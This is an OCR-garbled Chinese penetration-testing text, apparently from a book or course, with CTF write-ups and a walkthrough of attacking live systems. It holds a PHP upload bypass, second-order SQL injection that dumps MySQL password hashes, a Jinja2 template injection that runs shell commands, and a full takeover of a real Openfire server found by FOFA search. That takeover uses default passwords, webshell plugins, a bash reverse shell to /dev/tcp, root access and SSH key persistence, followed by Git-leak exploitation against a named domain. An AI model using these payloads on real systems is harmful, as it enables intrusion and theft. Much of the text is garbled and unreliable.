#ifori@m fopen() , fwrite() LR fclose() Thag—+,

If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND
flag is set.

W

£

filename

EESNEURATE.

data
EE )\ MR, EEITLAE string , array 52 stream FiF ( 20 EEFTREOBRE ) .

N5 data {8TES stream & , IXE stream FRHFFENESEHIEERS )\ FHEE U+ | IXTREZEFRLIT
{#F stream_copy_to_stream() &#},

2_3" ({ETgERnssEsia ) | E?dﬁ?ﬁl_iﬂiﬁIe_pur_contents{$ﬁfenmne, join(" $array}),,|

AR S — AN SR NRREA, W 2B A T L5455 85 i AR, Il T
€ @ 127.00.1/test2php Wi c SE <Cerl+k wBe ¥+ @ |

INT v = & SQL BASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ER

@ Load URL [http://127.0.0.1/test2.php
# split URL

3 Execute

Post data [ Referrer 4 OxHEX 3 @& %URL ¥» @& BASEGd 3B

Post data I filename=shell. php&data[]= < ?php&data[]=%0aphpinfo();

& coyphpStudy\wWiwwWitest2.php - Sublime Text
File Edit Find View Goto Tools

Selection Project Preferences Help

test2.php

abcdefg

<?php

phpinfo(); ‘\ 0 A _- ) )

|||||||||||||||||||

SREEE AR J5 V7 7] BE4S flag

H21 pi/dk 128 HiREW: 28 H mTARE: A
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Request

Raw | Params | Headers | Hex

Target: hitp://76a01e4210e4451cbb40e27bce1b12bfIT46fcfabri24176.0ame. ichungiu.com &

Response

Raw

Headers | Hex | HTML | Render

POST /findex.php HTTP/1.1

Host: THa0124210e4451chb40e2Theelbl12bf9T46f cfaBT24176. gane. ichungin. com

User—Agent: Mozilla/5.0 (Windews NT 10.0: WOWS4: rv:55.0) Gecko/20100101

Firefox/53.0

Accept: text/htwml, application/zhtnl+znl, application/xml;q=0.9, */% q=0.8

Accept—Language: zh—Cl, zh;q=0.8, en-US;q=0. 5, en; g=0. 3

Accept—Encoding: gzip, deflate

Content—Type: application/s—ww—form—urlencoded

Content—Length: 52

Cookie:

UM_distinctid=13d8e8b1388c3-0979cad2f 469412646 4a—100200-15d3e8h138a6d;
role=Cj0l01Jucipl¥SIT

Comnection: close

Upgrade—Insecure—Requests: 1

e

filename=telst. phpldatall={Tphpkdata ]=%0aphpinfa () ;

HTTP/1.1 200 OK

Server

: nging/1.10. 2

Date: Sat, 09 Sep 2017 13:25:21 GNT
Content—Type: text/htnl
Content—Length: 148

Connection:

close

¥—Powered-By: PHP/S. 5.9-lubuntu4. 22
Vary: Accept—Encoding

'DOCTYPE hitml

‘html>
‘head>

Ctitledd/title
</head>

<hody >

your file is in

. fupleoads /092198f ce413d018c5034023d2836291 te2st. php
<fhody>

</html>

<
flag{09a75989-36b8-4745-a9¢3-d9d3277cc85a}

C | © 76a01e4210e4451cbb40e27bce1b12bf9746fcfab7f24176.game.ichungiu.com//uploads/092198fce413d018c5034023d2836291te2st php

FEE sql KIEN, BEMEVEMEN RS SR, ERJERIA A check fdtn] A& #AT 2 /0 N5
FLANUR—FE, XFEbE BB RS S, JFEWEIREE, miiESm A ae8T. bl &
HEHUERE sql AR 16 HERIBEATVE N, IXREAE B R 2 PAT BATHIE 1 sql 156

AppleWebKit/537.36 (KHIML, like Gecko) Chrome/39.0.3071.115
Safari/337. 36

Content-Type: application/z—www—forn—urlencoded

Aecept:

text/htnl, application/xhtnl+xnl, application/xnl; ¢=0.9, inage webp, in
age/apng, */*;q=0. 8

Referer:

http://81a5266b757044afEd5aT80f 2e90fb07a3851912f 2ec4 704, gane. ichung
iu. com/Tegister. php

Accept—Encoding: gzip, deflate

Accept—Language: zh—CN, ch;q=0.8

Cockie: chkphone=acW=lpzhOpliichhluSnE gy 10uDI00000 ;
UM_distinctid=15e2944a2a1296-0fa93Thbal3021-36624308-100200-15294
42222476 ; pegv_pvi=9290394624; pegv_si=sT189134336;
Hu_lwt_2d0801hd28deTd49515249c£35495943=1503930918, 1504955578, 1505
003914; Ho_lpvt_2d0801bd28deTd49818249cf35d90943=1000005914;
ci_session=341h264361a16b26835f9cheT30f cBhT05a5afad;
PHPSESSID=chtuiomrn’3uhlavzeackI6ntl

Comnection: close

username=rlpassword=rkphone=0x3120756096f6: 20736066063 T4208TT26£T
5T05£636£6.63617428557360722¢5061T3T3TT6£ 72642920667 26£6420T5T365T

PEEE

Hello, w

[a

v

0 matches

html5. js

script sro= asss?s,’js,’

fendif]—.

l— Javascript —

script sre= assets/js/jquery-1.8.!
script

s/js/supersized. 3. 2. 7. min. js" </ sc
script sre="assets/js/supersized—:
{script src="assets/js/scripts.js”.
< fhead>

;
<
s
<
src= asset
;
“©
;

Success!

‘hody>
¢div class="page—container”
Chl> LM s
“form action="register.php’ me
{input type=text’ name="1
class="username” placeholder="F]/"# ">

name="]

{input type="text”
placeholder="phone” maxlength="11">

‘button type="submit”>FEI

@@ @ e

Your phone is 1 union select schema name from information schema.schemata.

Click on the link and you'll know how many people use the same phone as you.

Check || logout

22 T/ 128 WRHW: &H 28 H HTIE: %k
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B0fb07a3851912f2ecd75a.game.ichungiu.com/check.php

There only 7 people use the same phone as you
There only information_schema peaple use the same phone as you
There only mysql people use the same phone as you
There only performance schema people use the same phone as you
There only webdb people use the same phone as you

= C | @ 81a5266b757044af8d5a780f2e90fb07a3851912f2ec475a.game.ichungiu.com/index.php T G sy

Hello, ddddd

Your phone is 1 union select table name from information_schema.tables where table_schema=database().

Click on the link and you'll know how many people use the same phone as you.

| Check || logout |

81a5266b757044af8d5a780f2e90fb07a3851912f2ec475a.game.ichungiu.com/check.php

There only 2 people use the same phone as you
There only[user]people use the same phone as you

Hello, www

Your phone is 1 union select group concat(column _name) from information_schema.columns where
table name="user".

Click on the link and you'll know how many people use the same phone as you.

[ Check | [ Togout |

&« C | @ 81a5266b757044af8d5a780f2e90fb07a3851912f2ec475a.game.ichungiu.com/check.php

There only 5 people use the same phone as you
There only

Hos electﬁpriv,lnsertﬁpriv,Updateipriv,DeIeteﬁpriv,Createﬁpriv,Dropipriv,Re\0adipriv,Shutdownipriv,Processipriv,FiIeipriV,Grantipriv,Referencesﬁ\
people use the same phone as you

Hello, dd

Your phone is 1 union select group concat(User,Password) from mysgl.user.
Click on the link and you'll know how many people use the same phone as you.

| Check || logout |

C | ( 833a89e260844536a4bd16b21627bcf08cbod7c793434d01.game.ichungiu.com/check.php
There only 2 people use the same phone as you

There only root*BS87E7FF2110C53A90004233A39FE6D352FAQED, root,root, root,debian-sys-maint*B8E20ABCAF6F6B693B59A85CET 1700BEOA412CB6 peo
phone as you

Hello, ddd pay|oad

Your phone is|1 union select phone from user where username="admin".

Click on the link and you'll know how many people use the same phone as you.

| Check || logout |
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There only 2 people use the same phone as you

There only flag{973fc28b-5ebb-4cc7-9d34-5f1b8291acaa} people use the same phone as you

25 DY gt
F 5% jinjia2 FEHEN

M 5ENG, 1E donate.php AW LLIHS K url, AR 44, BEEEIEIRES, KIUMEHEG T

jinja2 FEHR

< C | @ 797017775acB8459fb7046c836b3d102f3a365b39580b44f2. game.ichungiu.com/

Success: your file would be stored at /tmp/memes/admin

[ PR

TEMFLATES [{’ AFF_DIES : True,

register.php

"EACEEND : * django. template. backends. Jina®. Jinja2',

‘IIRS ;[ ,.-"'v:ar,.-"".'.'W'.'.',.-"-.l'Ltml,-'rteml:-].sttesJ 1.

"OPTIONS" : {' enviromment’ : “museum. myjinga®. enviromment’ 11,

{" &FF_DIES : True,

"BACKEND : " django. template. backends. django. DjanzoTenplates

‘IIRS ;[ ,.-"'v:ar,.-"".'.'W'.'.',.-"-.l'Ltml,-'rteml:-].sttesJ 1.

"OPTIONS" : {' context_processors : [* djanzoe.
" django.
* django.
" django.

template. context_processors. de
template. context_processors. re
contrib. auth. context_processor
contrib. messages. context_proce

google — ', get &, HARFIXH W &: CSAW-CTF Python sandbox write—up

t (AMD&4) ] on

N BB AR python TERIEEAT AR AT, HARJE GIRLUE T L0 A

donate

The address of your donation

NcB5. nipic_.com/file/20150423/18749124_163326906986_2 jpg

Your name

H0_ class___ base . subclasses_ ()[59]__init_ func_g

Go!

No donation, get out! logout.

collection de musee

woami ") . read ()

jlepem flle ls, mece & at OR7EcciAB4e840
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donate

The address of your donation

Your name

Got!

No donation, get out! logout.

collection de musee
ailaeg73707010=-8E0cl=4040=-00ac=0Bh480atE88all

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

Aeccept:

text/htnl, application/zhtnl+xnl, application/xnl; g=0.9, inage/webp, im
age/apng, */*;q=0.8

Referer:

http://3c6d18c850af 4252 adef T30eddb90e18.41cf 50139914942, gane. iclung
iu. com/register. php

{Accept—FEncoding: gzip, deflate

Accept-Language: zh—CN, zh: q=0.8

Cookie: chliphone=acWzlpzhdpDiichhiuSnEqyiguDI00000;
UM_distinetid=15e2944a2al296-0£a93Thbal3021-36624308-100200-15294
4a2al476; pgv_pvi=9290394624; pegv_s1=sT189134335;
Hn_lvt_2d0601bd28de7d49818249c£35d95943=1503930918, 1504935578, 1305
005914; Ho_lpvt_2d0601bd28de7d49818249c£35d95943=1503008914
ci_session=341b264361a16L26835f9c6eT00f c6hT05a5af a9 ;
csrftolien=]CHL1madglspSx1ZMge3STfuoEbdpijghlr zsxWhWjATPOtswC 1M WO T
TRzWIhTC

Comnection: close

username=hhh{{[I.__class_ ._ hase_ ._ subclasses_ ()

(591, _init_ .func_globals["linecache”]. _ dict__

("os”].popen(Teat

flag*”).read()} kpassword=mokesrfmiddlewaretoken=4KrT2iF01TrEBbimt]
SsUJRuuTASMOBb cBUSx turBHIPVBAOW3r 2D 1UST 1Ng vl VEvisubmi t=Go% 21

SHEVE:
CSAW-CTF Python sandbox write—up

HMHA] Python $FIEAE Jinja2 FR AT AR EACAY

%

A4

ch term 0 matches

HITP/1.1 200 OK

Server: nginx/1.10.2

Date: Sun, 10 Sep 2017 09:530:35 GMT

Content-Type: text/html: charset=utf-8

Content—Length: 176

Comnection: close

Vary: Cookie

¥—Frame—Options: SAMEORIGIN

Set—Cookie:

esrftoken=0vBOPUzkWeB4a] 4mudnGhy TEsZhiFirqC09qL25Ez subindvz eRRI
AsquilbVWV: expires=Sun, 09-S5ep—2018 09:50:05 GNT:
Max—-Age=31449800; Path=/

Set—Cookie:

sessionid=". e]xVaMEOwiAQhOF32bMh3QqWevTuMiCF AakaSEp THy6 THulBz_
InB5Ld2ul ssyRMZx] JGnaw] o6 W2SQdYB JMEZfEelo1 WS 30MNDLF 35T 31 jwIbhl
ValnmyastUfvalLUIP197T-3cwhIZ TenBAN00xpw : 1dgy =S : 1dwwruf0_ick—Tw
TpDrmiOJ4”; expires=Sun, 24-3ep—2017 09:30:08 GMT; httponly;
Max—Age=1209600: Path=/

Success: your file would be stored at
Stup/memes/hhh{{[].__class_ . base_._ subclasses_ ()
[59]. __init__.func_globals["linecache™].__dict__
["es"].popen{“cat flag*™).read()}}

BEEar

1.40penfFire J5 &4 _E4&3REL webshell &
S BB linux IR%52%

simeon

1.4.1 HARIREX

(1) fofa.so W ufi{# %2 body="0penfire, FA: " && country=JP, AJLLZREL H ASFELE K]

Openfire Ik %5%5. WK 1 fis.
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https://hexplo.it/escaping-the-csawctf-python-sandbox/
http://rickgray.me/2016/02/24/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates.html

(2K 365 LA FL) 2 6 HiZ+E w5 : antian365-20170928

8 &£ | https://fofa.so/result?qbase64=Ym9keT0iT3BIbmZpcmUsIOeliOacrDogliAmJiBjb3VudHI5PUpQ

FOFA .. e

* ‘ body="Openfire, kfz7s: " && country=JP Q ‘ ] TR

1% body="Openfire, {f#: " && country=JP 3{/5 2 KILELER , A 9=/, &
3\: extended,

Openfire BEIERAE
Q HTTP/1.1 200 OK

5 Date: Sat, 05 Aug 2017 01:13:43 GMT
OIS 3:;)17 o (/)5 X—Frame—Optioni: same
8080 Content-Type: text/html; charset=UTF-8
Set-Cookie:
JSESSIONID=1hrpigaiahjykllsmdedb7t35v;Path=/;HttpOnly,

ServerHE® csrf=339n5D2il7r8VHB; Path=/;HttpOnly

Frrmimmm: Thet A1 - 1070 AN.AAAN ~RAT

LEEEE SN

1422 NBERHABOSERRS

— 59114 admin/admin. admin/admin888. admin/123456, 15 A& ix L4i B 54 T
burpsuite AT F I %, BEWIER VTR AIMEE, W 2 Fias, openfire A BEFF A [F] i .
) Fze | 1S 030/ |0gin.jsp?url=%2Findex.jsp

y
W openfire EERE

[ admin eeoee } =E

APE 2]

2openfire & & & fifi ik

1.433#NFE

BN IER S, R 3 PR, BNEG, TUEERSSRE, SEM /MR, &
Boeil, IR UG EE R
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« C | © W———.3030/index sp

6 openfire’

T BRI/ ERE SiEF SEX
d
52 ey =2 TLS/SSLIFH 1S EIRSS

- RE=aE
RaEs -~
EEAIRTE
=& mEs
EE o -
Openfire 4.1.5 AR 2 X2 TRmBSIOs LUSSIES0ES,
wime
BEEaE
TEIH TRSSOESEES | BOEBIERSOpenfireEZHEE,
BB ARSSE
SMS Settings IRSSEEHE
P e RSESIAIE : 133 14 /M83, 30 58 - started 2017-3-30 212910

ki : Openfire 4.1.0
Openfire ¥ B33 : (opt/fonsview/NE/openfire

K3ENEE

1.4.4 BE I3F A&

LS v T RO e S WD) e 1 S 7Tl ol G sl ot £ G S e e

% f¥] openfire i webshell 3@, 1K 4 Fios.

<« C | © TR 5030/ plugin-admin.jsp?d cess=true

& openfire’

wsu me/mew s sewx ()
wen
* R

foi S

i

© S,

AL SMTERNE TR, T FiE] e T

L3 =/iF L33 L]
A Search A [3 Provides support for Jabber Search (XEP-0055) 171

LG 1
TR ( jar) FLERIBT FELOEM L,
BETE | FAREATE L
4 LAEdRLE

FEAYG B, BRI TIEANENE, W 5 FoR, BT bk,

Ryan Graham
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¢« C O TR 020/ plugin-admin.jsp?uploadsuccess=true

G openfire’

EsE mr/Ere aE swwx o4

EaEn
» e ﬁ#
} A
9 IR e, EifEERESHIAECSBIREIIE,
WAL = HEIE: S5 &, ] ER S TR
oy 2.3 £z
[ 4 Broadcast 3 [@ Broadcasts messages to users. 190  Jive Software
A, Search 3 [ Provides support for Jabber Search (XEP-0055) 171 Ryan Graham
r 8 BreORE 33 BreOges 1 10 etclij
HH-
& 5 A& webshell (1364
1.4.5.38 X webshell

(1) helloworld {43k webshell
k- S a i E, WK 6 Frax, W helloworld #ifF bA&FFiE 47T, W< /ERD
B AR EORE . Bz FERE R I webshel, @1E] 7 R
& C ‘ O - 030/ profile-settings.jsp

Ly
6 openfire

Lo BR/BFE AE  SERX B

mszmnz || (EEEEE)| nsssubs | s
» ERERH ‘
S REXMHEE
IiEiRS IR R

ShEREEIF

EEEERE

TEZOpenfire BRMBFEFREFE. SEALDAPRSHEESRIRGSIRE

® ERIANIBE - 1=0penfireSURE+REEZESE, XESHRESITOES
HTTP#EE E MR35 (LDAP) - (=ELDAPHNYSEA FiE 5B Fa0penL DAPHIE
ExreE

RIS
DEES

HEST
AR
BfEEE
SHEIX

Search Service Properties

[ ArEOes ]

6 BE RSB E
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< C | © T :030/plugins/helloworld/chakan.jsp

| File Management ” Command Window || System Property ” Help | Thanks for your support - - by Steven Cee http://www.topronet.com

Current Folder : /opt/fonsview/NE/openfire/plugins/admin/webapp Drivers :
Parent Folder File Name File Size
setup index_html 115 Bytes
WEB-INF favicon.ico 1.12KB
style
images
is

‘/opt/fonsview/NE/openfire/pIugins/admin/wel‘\ %ﬁ%}‘dﬁtj FEER \
| BEEESTit | REEEAE =i

www.topronet.com All Rights Reserved.
Any question, please email me cqq1978@Gma

O openfire’

BSE BFR/BFE  SF 2 SEBX &

JFalar 1 0 -—-A isn hasad wah faldar mananamant tanl hv Stavan Caa
K] 7 3R webshell
(2) broadcast i3k HL webshell
3BT url+ plugins/broadcast/webshell SCAF 44 FR R AR EL :
http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/cmd.jsp?cmd=whoami
http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/browser.jsp
7E helloworld Ffift At a] DL ik Hihik >k R HL
http://xxx.xxx.xxx.xxx:8080/plugins/helloworld/chakan.jsp
WK 8, K9 FR, 437I3KEL broadcast [ webshell LA K 25 247 H P AR A root.
& C | ® —8080/plugins(broadcast/cmd.jsp?cmd:whoami ]

& openfire-

B33 MBRP/BFRE 21 990X &

=)

ARAZRE | Mt s MAEE 1| OS2 1| ADJOFETT 1 R IA

P 8 SR | I BURR
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&« C' | © masbitinttl 3030/ plugins/broadcastybrowser.jsp

c< L
L openfire’

B5%E HBFR/BRE SF 2 SE8X &EH

/opt/fonsview/NE/openfire/plugins/admin/webapp

Filename filter

[ [Name Size] Type Date

B|B|B|B

~|lo|lo|lo|o|o

3|0 |®

Select all
1.23 KB in 2 files in /opt/fonsview/NE/openfire/plugins/admin/webapp/

K 9 3KHX webshell

1.4.6.% root LG R E5%

BB BT AR SZ O R, NGRS — Mg, BRI
I3 webshell 7 LA3RE /etc/shadow SCAF, 1H1Z root S e 7 K550 B B AN & 84 25 5
e . S5 as LI ssh, BT HIF AR R MR P ) ) 751

(1D JRFAFIAIRG
HAT— T2, BZHR S8 S 2 ARG AR 55 28 xxx.xxx.xxx.xxx [] 8080 Ui 11, e B4 Fir i
c Wil 8080 i I, WEIHAT “nc-vv-1-p 8080~ #1& 10 fT7s.

Hi&: C:\Tindows\system32\cmd. exe — nc -wv -1 —p 8080

Microsoft Windows L{RZN 6.1.76011 _
WP <c> 2009 Microsoft Corporation., {1RERP

C:\Users\king5>nc -vv -1 —p 8080

listening on [anyl 88686 ...

10 %1 8080 i I
(2) J3% shell A

HAT TS “bash -i >& /dev/tep/xxx.xxx.xxx.xxx/8080 0>&1” [ #FI Y, 1 11 fis, FREL
—/N % shells
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B : C:\Findows\system32\cmd exe — nc -vv -1 —p 8080

windows 6.1.760811
& (c> 2089 Microsoft Corporation. 1% o

C:\Users\king$>nc —vu -1 —p 8080
listening on [anyl 80680 ...
B 11 from cn.pt l.net [1} 731 22841

: no job control in this shell

<]1@;rootPshouwme : /opt/fonsview/NE/openfire/plugins/admin/webappc[?1834hlrootPshoume webhapplit
«1@;rootBshowme : fopt/fonsview/NE/openf ire/plugins/admin/webapplrootBshowme webhappl#
<]10;rootBshoume : /opt/fonsview/NE/openfire/plugins/admin/webapplrootBshowme webapp l#
<]1@;rootPshoume : /opt/fonsview/NE/openfire/plugins/admin/webapplroot@Pshouwme webhappl#t wvhoami
id

uid=0<{root) gid=B<(root) groups=B<{(root)
<]10;rootPshoume:/opt/fonsview/NE/openfire/plugins/admin/webapplroot@Pshoume webhappl#t wvhoami
root

«]@;rootPshoume : /opt/fonsview/NE/openfire/plugins/admin/webapplrootBPshowme webappl#f

K 11 3 shell

1.4.7. LR BAERE

(1) mHEARSS A A FAEH

BB RS 28 EHAT “ssh-keygen -trsa” x4, ERIA=WKIZE, WK 12 s, &FE
root/.ssh/ H 5 F A% id_rsa /% id_rsa.pub, HHid_rsa MRS AR, REHlEE, id_rsa.pub
KA

# ssh root@1l:t

Last lqgin: Tue Aug 8 10:38:38 2017 from 2

[root@showme ~]#

[root@showme ~]#

[root@showme ~]#

[root@showme ~]# id

uid=@(root) gid=0(root) groups=0(root)

[root@showme ~]# whomai

-bash: whomai: command not found

[root@showme ~]# id

uid=0(root) gid=0(root) groups=e(root)

[root@showme ~]# ifconfig

etho Link encap:Ethernet HWaddr ©6:B3:06:00:35:74
inet addr:172.31.32.123 Bcast:172.31.39.255 Mask:255.255.248.90
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:143049908 errors:@ dropped:@ overruns:@ frame:0
TX packets:106401453 errors:® dropped:@ overruns:@ carrier:@
collisions:@ txqueuelen:1000
RX bytes:195715572814 (182.2 GiB) TX bytes:15889360754 (14.7 GiB)
Interrupt:247

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:163454701 errors:0 dropped:@ overruns:@ frame:0

TX packets:163454701 errors:® dropped:@ overruns:@ carrier:@
collisions:@ txqueuelen:®

RX bytes:239528510582 (223.0 GiB) TX bytes:239528510582 (223.0 GiB)

root@showme ~]#

K 12 fEI Ak 55 4% b AR A FA]
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(2) Al linux _FAEAFAVEH
AN linux FFHATATS “ssh-keygen -trsa” AT, BiEfEARS 251 id_rsa N #F
A, PATAS “catid_rsa > /root/.ssh/authorized_keys” #74, BEtib AR 5% 25 AL EH A= il 3
authorized_keys 14
(3) BAHA A AL B FE R 5548 b IFFA2 B authorized_keys
cat id_rsa.pub >/root/.ssh/authorized_keys
(4) MIBx 24T
rm id_rsa.pub
rmid_rsa
(5) B a
i “ssh root@1xx.1xx.111.1xx” E xR 554, ARHBINEIERS A KL, K2 7ERE
SRS A EH . xﬁ%ﬁﬂ@ 12 ﬁﬁﬂ?o

Last lqgin: Tue Aug 8 10:38:38 2017 from 218.17.254.234

[root@showme ~]#

[root@showme ~]#

[root@showme ~]#

[root@showme ~]# id

uid=0(root) gid=0(root) groups=0(root)

[root@showme ~]# whomai

-bash: whomai: command not found

[root@showme ~]# id

uid=0(root) gid=@(root) groups=e(root)

[root@showme ~]# ifconfig

ethe Link encap:Ethernet HWaddr ©6:B3:06:00:35:74
inet addr:172.31.32.123 Bcast:172.31.39.255 Mask:255.255.248.0
UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1
RX packets:143049908 errors:@ dropped:® overruns:@ frame:@
TX packets:106401453 errors:@ dropped:@ overruns:@ carrier:@
collisions:@ txqueuelen:1000
RX bytes:195715572814 (182.2 GiB) TX bytes:15889360754 (14.7 GiB)
Interrupt:247

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:163454701 errors:0 dropped:® overruns:® frame:@

TX packets:163454701 errors:@ dropped:® overruns:@ carrier:@
collisions:@ txqueuelen:®

RX bytes:239528510582 (223.0 GiB) TX bytes:239528510582 (223.0 GiB)

root@showme ~]#

P 12 BT 0 5 IR g5 A%

1.4.8 55

&) Openflre RS B K S AR, HATIEAR AT A A . Openfire iR #ThRA N 4.1.5.
(2) ATLLIEEL burpsuite #E4T admin & P G K-S (1) 2 S0
(3) fdiH openfire 24 fnfEl, W] LI FHGRZERY, [RIFA% BEARAFALIR,, B BR T 2
it H s sh, ZERHOE E %
R T REAE 24 365 LA Fu AR A ER A LR k.

1.5Git 15 2 it #& N I IRTF A H

simeon
Git /& IRy « $FLELZZ (Linus Torvalds) 4410, EoREEEMHIE, EEZ “9RIK” ,
Git A& — A RPRA IS H AL, HAVTERGHT « FETL2Z (Linus Torvalds) €I/, F 2005 4
P GPL KA« BeH) H A EIFHVEFE Linux WIZ R Git &) R E1EN—A 1T L
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e A AT I CHLUn CoGito BY StGit) e (Y i M HT & 1, {HJE K Git WAZ B4 2 mT LA
ST RV RR A o 1R 2 28 4 AR A Git b AT A #%1], HoHp B4 Linux A% X.Org
JIR 554 A1 OLPC A% 551 H HYJT R AR « Git 558 F I RRCAS 42 1] T H: CVS, Subversion 454N,
CRH T A A 7 20, ANTR Z RS d i A SR

Git F1I'E /7 3G - https://Git-scm.com/, Git fSISFEE 2 Github.com Chttps://Github.com)
T FE K Git AR E B . GIT MU MRATE R 24, BEHENMNAEHR
gt, TREMARSGSE. GIT LNBILudl 7 76, GIT A M ERRAS, GITIH
N A7 S (102 SHA-1 IS 7 B0 o IR BERA RACHD A 28 1 5 B 1k, 0 DR A 88 381 A
5% 0] RIS AN A PR RIS

1.5.1Git En %<

git $2ft T windows F linux fA, H F#ihEN: https://git-scm.com/downloads,
B R 2.13.
1.git %%
FE4HT linux REEEHA git 12, WRRGI % ar 2 W FHETF5) 24
(1) Debian ¥ Ubuntu Linux %% sudo apt-get install git /apt-get install git
(2) centos RF1%4%: yum install git
(3) windows %% AR FE R IATRI ], git G424t 7T gui
FUIH S B TR, OSBRI A AT LA E 4T % F # (https://git-scm.com/download/gui/windows )
2.git R A
(1) FRECHHT git IARCAS:  git —version
kali linux ERIA [ git FiRAS N git version 2.9.3.
3.4 M4
(1) Wkt Git P
gitinit //fEHI 4R H %
git init newrepo // 1#i i newrepo 1FE N4 FE AR H 5%
(2) IHAESS S
git add filename
(3) FRAIRA

git commit -m "Adding files"

git commit -a -m "Changed some files"
git commit 74 1)-a eI A] K A A2 L SR H 24 git & R SO B 0
L, TER, -a AIERCHC RS, RAEEM.
(4) RAThA
AV PRS2 e B — A FE I A%
git clone ssh://www.antian365.com/~/www/project.git
BAERAME S J5 7] LAEAT HEE B R 55 25 -
git push ssh://www.antian365.com/~/www/project.git
(5) HIml 5%
git pull //H[E]ER A 58T
git pull http://git.example.com/project.git //H A 34Nk £ ) 58 5
(6) MiIBR: gitrm file
git rm --cached antian365.com.txt - M stage FHlER, BB S
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git rm antian365.com.txt ANMEM stage HHIFR,  [FIES M BR 4 2 SCA:
git mv a.txt b.txt % a.txt 24N b.ixt

1.5.2Git 5 2t E

Git it FE i 2 AR T AN A Git BEAT RRCAS 2 1], X ot e E S AR, TR EAS 2, K Git
AR EAE R B BN, SECLIRAR SEBURE B R

Git {5 Bt FR A FHARK, BIEMA A Bl 2, 7T B RS SR IR e A5 L (A
1P € e 57 L SO T D) i i 72 ) o AV P o 1119 L 0 o N o [V S8 7 oo S B

1.5.3Git imAFIA LR

1. GitHack

Rk https://github.com/BugScanTeam/GitHack

(1) 3% githack

YRGS https://github.com/BugScanTeam/GitHack/archive/master.zip

T # git windows 23 FE
https://github.com/git-for-windows/git/releases/download/v2.13.0.windows.1/Git-2.13.0-32-bit.
exe

WERRMIR AT AERd “RIBMEE THENL - “ B - “mRRGwE” - “ ™%
- “RENAR” , ERGAETIE| Path, AEXEHITH, WK 1 AR, AR E
“C:\Program Files (x86)\Git\bin” , CAFTEARINATIE AN ;7 &5, WEEME, I cmd 1y
2, N git, TUR git ArS, MIUEH] git IR BE M) .

IS x|

WENE | wE  BR Iﬁ}g |

x|
RERARE i x|
TEREMm: [Path
EEEW: . \P;

FRHEE®)

I |ig |4

NUMBER_OF_FR... 4

0s Windows_NT _!

Path C:\ProgramData\OraclehJavaljava. ..

PATHEXT .COM;.EXE;.BAT;.CMD;. VBS;.VBE;.... ;]
siza... | wED.. | wgo |

we | mE |
e | mE | wae |

1 WHE git AL R
fift 545 GitHack-master.zip EJAH N 42T, $ATHT S
githack.py http://global ******* com/.git/
FEF 2 E s FIER AL git gz SC, w2 Bk
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https://github.com/BugScanTeam/GitHack
https://github.com/BugScanTeam/GitHack/archive/master.zip
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http://global.shanxinhui.com/.git/
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:\Python27\GitHack\GitHack-master>githack.py http:*ﬁg]obL g .com/.git/

*

* +

E

Target Url: http://global.s sl . com/ .qit/

Initialize Target

Try to Clone straightly

L]onp

ning into 'C: \PythonZ/\G1tHack\G1tHack master\dist\global.s

al: repository "http://global.Ziilll Ji.com/.git/" not found

Clone Error
Clone with Directory L1;t1ng
/global.s i.com/.git/ is not support Directory Listing

pl[First Try] Target is not support Directory Listing

Try to clone with Cacﬁe

Initialize Git

Cache files

Fetch Commit Objects

* ok

W | Q= O

*

[
[
[
L
L
L
e
C
f.'
[
[:
2
[
[-,
L
[-,
2

* )

B 2 SRER git k&R SO K HAR R
githack BRINZSTE 4RI SCIF R N A R dist H g, FRIUK S5 SR ARl 44 7k AT &, 100
#9&?%@@%%5’] git itk (45 B
HEeTH
(1) GitMiner
https://Github.com/UnkL4b/GitMiner
https://Github.com/UnkL4b/GitMiner.Git
(2) GitPrey
https://Github.com/repoog/GitPrey
https://Github.com/repoog/GitPrey.Git
(3) weakfilescan
https://Github.com/ring04h/weakfilescan
GitHub BUR/E B4 TR
(4) Gitrob
https://Github.com/michenriksen/Gitrob
(5) GitHack
https://Github.com/lijiejie/GitHack
https://github.com/metacOrtex/GitHarvester
X EAERF R LA b 5 SRR AT ISR ER AN GitHack

1.5.4 —NFI L4

LI FHIREL git 15 B FE IR
BT wys X 5 H bR b BEATIRIA S, 0 3 Fias, wys IR Git repository found & G5

itho
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mkcunetix ¥eb Yulnerability Scanner 10.0 (Consultant Edition)

File Actions Tools Configuration Help

=]

=]

& Web Scanner
Y To%
(3 Site Crawler
- Target Finder
£, Subdomain Scanner
| 4 Blind SQL Injector
--[E3 HTTP Editor
4 HTTP Sniffer
HTTP Fuzzer
) Authentication Tester
B2 Compare Results
{7 Web Services
457 Web Services Scanner
g Web Services Editor
{~ Configuration
2 ;!q Application Settings
: L.Z Scan Settings
++/&] Scanning Profiles
— General
- \a Program Updates
-{1.0] Wersion Information
(& Licensing
-] Support Center
&) Purchase
&) User Manual
& AcuSensor

B

JEE

| Hew Scan [[@ 3 20 4 JEBR 8 B |eie | B 4|20k
|TOOIS ey ﬂ| Lj L—j i | H (:T] l o) Report ' y> Start URL: [hktp1,l""k"\";'\";'\-rlISEIII'
@!w?b Yulnerability Scanner Scan Results | Status
[} ¢ Scan Thread 1 ( http:/fv/R——CN: 50/ ) Crawling

&1 illy Web Alerts (160)
P
= @ SQL injection (6)
D farticle {1}
(33 D findex.php/article (1)
[+ D mobilefindex.phpfnews) (1)
= E] Jmobilefindex.phpfvideos] (1)
= @ page (1)
variant 1
D Inews (1)
[ D Jvideos (1)
&) Application error message (6)
-~ @) Error message on page (4)
() HTML form without CSRF protection (26)
@) Multiple vulnerabilities fixed in PHP versions 5.5.12 and 5.4.28 (1)
@) User credentials are sent in clear text (3)
- @ Clickjacking: X-Frame-Options header missing (1)
- @ Cookie without HttpOnly flag set (3)
- @ Cookie without Secure flag set (4)
@ File upload (5)
D Ibanner/save
EI Jcategoryfsave
D findex.phpfpost/save
[:I Ipostfsave
[] Jvideojsave
- @ Possible sensitive directories (17)
- @ Possible sensitive files (11)
@ sensitive data not encrypted (1)
@ Broken links (49)
